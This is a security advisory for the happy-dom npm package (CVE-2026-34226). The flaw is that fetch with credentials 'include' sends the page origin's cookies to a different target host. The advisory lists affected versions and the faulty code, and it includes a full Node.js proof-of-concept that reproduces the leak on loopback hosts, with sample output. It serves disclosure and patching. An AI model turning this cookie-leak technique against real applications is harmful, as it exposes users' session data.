Packages / happy-dom / Security

HighVulnerabilityGHSA-w4gp-fjgq-3q4gCVE-2026-34226Published 29 Mar 2026

Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies

Affected releases · happy-dom

  • 20.x20.0.0 – 20.8.8Fixed in 20.8.9
  • 19.x and older0.0.1 – 19.0.2No fix, no longer updated

On 20.x, the newest line:

npm install happy-dom@20.8.9
21.x
  1. Not affected

    21.0.0 – 21.0.4

    5 releases, latest

20.x
  1. Affected

    20.0.0 – 20.8.8

    50 releases

  2. Fixed

    20.8.9 – 20.14.6

    38 releases

19.x
  1. Affected

    19.0.0 – 19.0.2

    3 releases

18.x
  1. Affected

    18.0.0 – 18.0.1

    2 releases

17.x
  1. Affected

    17.0.0 – 17.6.3

    51 releases

16.x
  1. Affected

    16.0.0 – 16.8.1

    29 releases

15.x
  1. Affected

    15.0.0 – 15.11.7

    42 releases

14.x
  1. Affected

    14.0.0 – 14.12.3

    44 releases

13.x
  1. Affected

    13.0.0 – 13.10.1

    53 releases

12.x
  1. Affected

    12.0.0 – 12.10.3

    28 releases

11.x
  1. Affected

    11.0.0 – 11.2.0

    11 releases

10.x
  1. Affected

    10.0.0 – 10.11.2

    35 releases

9.x
  1. Affected

    9.0.0 – 9.20.3

    60 releases

8.x
  1. Affected

    8.0.0 – 8.9.0

    33 releases

7.x
  1. Affected

    7.0.0 – 7.8.1

    40 releases

6.x
  1. Affected

    6.0.0 – 6.0.4

    5 releases

5.x
  1. Affected

    5.0.0 – 5.4.0

    9 releases

4.x
  1. Affected

    4.0.0 – 4.1.0

    4 releases

3.x
  1. Affected

    3.0.0 – 3.2.2

    6 releases

2.x
  1. Affected

    2.0.0 – 2.55.0

    106 releases

1.x
  1. Affected

    1.0.0 – 1.18.2

    58 releases

0.x
  1. Affected

    0.0.1 – 0.14.1

    68 releases

780 stable releases of happy-dom, oldest to newest, one row per major.

Is your project affected?

Paste your package.json, or type the range you declare for happy-dom. It is read in your browser and sent nowhere.

What happens

Summary

happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.

Details

In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:

const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
  originURL,
  false
);

Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).

PoC Script Content

const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');

async function listen(server, host) {
  return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}

async function run() {
  let observedCookieHeader = null;
  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';

  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
  console.log('Setup:');
  console.log(`  Page Origin Host : ${pageHost}`);
  console.log(`  Request Target Host: ${apiHost}`);
  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');
  console.log('');

  await dns.lookup(pageHost);
  await dns.lookup(apiHost);

  const pageServer = http.createServer((req, res) => {
    res.writeHead(200, { 'content-type': 'text/plain' });
    res.end('page host');
  });

  const apiServer = http.createServer((req, res) => {
    observedCookieHeader = req.headers.cookie || '';
    const origin = req.headers.origin || '';
    res.writeHead(200, {
      'content-type': 'application/json',
      'access-control-allow-origin': origin,
      'access-control-allow-credentials': 'true'
    });
    res.end(JSON.stringify({ ok: true }));
  });

  const pagePort = await listen(pageServer, '127.0.0.1');
  const apiPort = await listen(apiServer, '127.0.0.1');

  const browser = new Browser();

  try {
    const context = browser.defaultContext;

    // Page host: pageHost (local DNS)
    const page = context.newPage();
    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';

    // Target host: apiHost (local DNS)
    const apiSeedPage = context.newPage();
    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';

    // Trigger cross-host request with credentials.
    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
      credentials: 'include'
    });
    await res.text();

    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');

    console.log('Expected:');
    console.log('  Request to target host should include "api_cookie=API_ONLY".');
    console.log('  Request should NOT include "page_cookie=PAGE_ONLY".');
    console.log('');

    console.log('Actual:');
    console.log(`  request cookie header: "${observedCookieHeader || '(empty)'}"`);
    console.log(`  includes page_cookie: ${leakedPageCookie}`);
    console.log(`  includes api_cookie : ${expectedApiCookie}`);
    console.log('');

    if (leakedPageCookie && !expectedApiCookie) {
      console.log('Result: VULNERABLE behavior reproduced.');
      process.exitCode = 0;
    } else {
      console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
      process.exitCode = 1;
    }
  } finally {
    await browser.close();
    pageServer.close();
    apiServer.close();
  }
}

run().catch((error) => {
  console.error(error);
  process.exit(1);
});

Environment:

  1. Node.js >= 22

  2. happy-dom 20.6.1

  3. DNS names resolving to local loopback via *.127.0.0.1.nip.io

Reproduction steps:

  1. Set page host cookie: page_cookie=PAGE_ONLY on a.127.0.0.1.nip.io

  2. Set target host cookie: api_cookie=API_ONLY on b.127.0.0.1.nip.io

  3. From page host, call fetch to target host with credentials: "include"

  4. Observe Cookie header received by the target host

Expected:

  1. Include api_cookie=API_ONLY

  2. Do not include page_cookie=PAGE_ONLY

Actual (observed):

  1. Includes page_cookie=PAGE_ONLY

  2. Does not include api_cookie=API_ONLY

Observed output:

=== PoC: Wrong Cookie Source URL in credentials:include ===
Setup:
  Page Origin Host : a.127.0.0.1.nip.io
  Request Target Host: b.127.0.0.1.nip.io
  (both resolve to 127.0.0.1 via public wildcard DNS)

Expected:
  Request to target host should include "api_cookie=API_ONLY".
  Request should NOT include "page_cookie=PAGE_ONLY".

Actual:
  request cookie header: "page_cookie=PAGE_ONLY"
  includes page_cookie: true
  includes api_cookie : false

Result: VULNERABLE behavior reproduced.

Impact

Cross-origin sensitive information disclosure (cookie leakage). Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.